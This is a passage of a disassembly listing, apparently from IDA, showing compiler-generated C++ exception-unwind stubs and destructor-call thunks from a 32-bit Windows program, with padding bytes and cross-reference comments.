jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40208B ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403720 proc near ; DATA XREF: sub_403720+2o mov eax, offset dword_43F4C0 jmp sub_437AB8 SEH_403720 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403C50 proc near ; DATA XREF: sub_403C50+2o mov eax, offset dword_43F700 jmp sub_437AB8 SEH_403C50 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392B8: ; DATA XREF: ___:0043F75Co mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403CE0 proc near ; DATA XREF: sub_403CE0+2o mov eax, offset dword_43F730 jmp sub_437AB8 SEH_403CE0 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392E8: ; DATA XREF: ___:0043F794o mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403D60 proc near ; DATA XREF: sub_403D60+2o mov eax, offset dword_43F768 jmp sub_437AB8 SEH_403D60 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403DE0 proc near ; DATA XREF: sub_403DE0+2o mov eax, offset dword_43F7A0 jmp sub_437AB8 SEH_403DE0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_439338: ; DATA XREF: ___:0043F7FCo mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403E50 proc near ; DATA XREF: sub_403E50+2o mov eax, offset dword_43F7D0 jmp sub_437AB8 SEH_403E50 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_4393B8: ; DATA XREF: ___:0043F85Co mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403F30 proc near ; DATA XREF: sub_403F30+2o mov eax, offset dword_43F830 jmp sub_437AB8 SEH_403F30 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404010 proc near ; DATA XREF: sub_404010+2o mov eax, offset dword_43F890 jmp sub_437AB8 SEH_404010 endp ; --------------------------------------------------------------------------- db 2Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394F8: ; DATA XREF: ___:0043F974o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404690 proc near ; DATA XREF: sub_404690+2o mov eax, offset dword_43F948 jmp sub_437AB8 SEH_404690 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43957B: ; DATA XREF: ___:0043F9FCo lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439586: ; DATA XREF: ___:0043FA04o lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-134h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E8h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404CC0 proc near ; DATA XREF: sub_404CC0+8o mov eax, offset dword_43F9D0 jmp sub_437AB8 SEH_404CC0 endp ; --------------------------------------------------------------------------- db 8Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_439820: ; DATA XREF: ___:0043FBD4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-28h] and eax, 1 test eax, eax jz locret_43983E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43983E: ; CODE XREF: ___:00439830j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406730 proc near ; DATA XREF: sub_406730+2o mov eax, offset dword_43FBA8 jmp sub_437AB8 SEH_406730 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- loc_439860: ; DATA XREF: ___:0043FC0Co lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-198h] and eax, 1 test eax, eax jz locret_439884 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439884: ; CODE XREF: ___:00439876j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4068E0 proc near ; DATA XREF: sub_4068E0+2o mov eax, offset dword_43FBE0 jmp sub_437AB8 SEH_4068E0 endp ; --------------------------------------------------------------------------- db 11h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-454h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398AB: ; DATA XREF: ___:0043FC44o lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398B6: ; DATA XREF: ___:0043FC4Co lea ecx, [ebp-424h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406C80 proc near ; DATA XREF: sub_406C80+8o mov eax, offset dword_43FC18 jmp sub_437AB8 SEH_406C80 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407080 proc near ; DATA XREF: sub_407080+2o mov eax, offset dword_43FC58 jmp sub_437AB8 SEH_407080 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4076B0 proc near ; DATA XREF: sub_4076B0+8o mov eax, offset dword_43FC88 jmp sub_437AB8 SEH_4076B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439928: ; DATA XREF: ___:0043FCE4o lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407740 proc near ; DATA XREF: sub_407740+8o mov eax, offset dword_43FCB8 jmp sub_437AB8 SEH_407740 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-2C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43994B: ; DATA XREF: ___:0043FD1Co lea ecx, [ebp-2DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-174h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-204h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-294h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-234h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-264h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-15Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-114h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-144h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-27Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-330h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-318h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-34Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-12Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0FCh] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2F8h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-300h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4077E0 proc near ; DATA XREF: sub_4077E0+2o mov eax, offset dword_43FCF0 jmp sub_437AB8 SEH_4077E0 endp ; --------------------------------------------------------------------------- db 0CFh dup(0CCh) dd 0E9C84D8Dh, 75C5574Dh db 0D4h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_409660 proc near ; DATA XREF: sub_409660+2o mov eax, offset dword_4400A0 jmp sub_437AB8 SEH_409660 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A370 proc near ; DATA XREF: sub_40A370+2o mov eax, offset dword_4400D0 jmp sub_437AB8 SEH_40A370 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-38h] and eax, 1 test eax, eax jz locret_439D86 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439D86: ; CODE XREF: ___:00439D78j retn ; --------------------------------------------------------------------------- loc_439D87: ; DATA XREF: ___:0044012Co lea ecx, [ebp-34h] jmp sub_401596 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A510 proc near ; DATA XREF: sub_40A510+2o mov eax, offset dword_440100 jmp sub_437AB8 SEH_40A510 endp ; --------------------------------------------------------------------------- align 10h dd 90C84D8Dh, 0C556CCE9h db 75h ; --------------------------------------------------------------------------- loc_439DB9: ; DATA XREF: ___:0040AA32o mov eax, offset dword_440140 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40AEF0 proc near ; DATA XREF: sub_40AEF0+5o mov eax, offset dword_440170 jmp sub_437AB8 SEH_40AEF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B070 proc near ; DATA XREF: sub_40B070+5o mov eax, offset dword_4401D0 jmp sub_437AB8 SEH_40B070 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439DFB: ; DATA XREF: ___:0044025Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B190 proc near ; DATA XREF: sub_40B190+2o mov eax, offset dword_440230 jmp sub_437AB8 SEH_40B190 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439E4B: ; DATA XREF: ___:004402A4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B250 proc near ; DATA XREF: sub_40B250+2o mov eax, offset dword_440278 jmp sub_437AB8 SEH_40B250 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B2F0 proc near ; DATA XREF: sub_40B2F0+2o mov eax, offset dword_4402C0 jmp sub_437AB8 SEH_40B2F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EC8: ; DATA XREF: ___:0044032Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B510 proc near ; DATA XREF: sub_40B510+2o mov eax, offset dword_440300 jmp sub_437AB8 SEH_40B510 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EF8: ; DATA XREF: ___:0040B6D2o mov eax, offset dword_440340 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F30: ; DATA XREF: ___:0040B9B8o mov eax, offset dword_440370 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C440 proc near ; DATA XREF: sub_40C440+2o mov eax, offset dword_4403B8 jmp sub_437AB8 SEH_40C440 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A78h] jmp loc_401B13 ; --------------------------------------------------------------------------- loc_439F7B: ; DATA XREF: ___:00440414o lea ecx, [ebp-0A3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F86: ; DATA XREF: ___:0044041Co lea ecx, [ebp-0A54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C4E0 proc near ; DATA XREF: sub_40C4E0+8o mov eax, offset dword_4403E8 jmp sub_437AB8 SEH_40C4E0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CBF0 proc near ; DATA XREF: sub_40CBF0+2o mov eax, offset dword_440430 jmp sub_437AB8 SEH_40CBF0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-260h] jmp loc_40228E ; --------------------------------------------------------------------------- loc_439FEB: ; DATA XREF: ___:0044048Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439FF6: ; DATA XREF: ___:00440494o lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A001: ; DATA XREF: ___:0044049Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A00C: ; DATA XREF: ___:004404A4o lea ecx, [ebp-278h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CC90 proc near ; DATA XREF: sub_40CC90+8o mov eax, offset dword_440460 jmp sub_437AB8 SEH_40CC90 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A04B: ; DATA XREF: ___:004404DCo mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CF40 proc near ; DATA XREF: sub_40CF40+2o mov eax, offset dword_4404B0 jmp sub_437AB8 SEH_40CF40 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A07B: ; DATA XREF: ___:00440514o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A086: ; DATA XREF: ___:0040CFC2o mov eax, offset dword_4404E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D210 proc near ; DATA XREF: sub_40D210+2o mov eax, offset dword_440520 jmp sub_437AB8 SEH_40D210 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-16Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A0EB: ; DATA XREF: ___:00440594o lea ecx, [ebp-184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D660 proc near ; DATA XREF: sub_40D660+2o mov eax, offset dword_440568 jmp sub_437AB8 SEH_40D660 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-5ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-604h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-634h] jmp sub_401226 ; --------------------------------------------------------------------------- 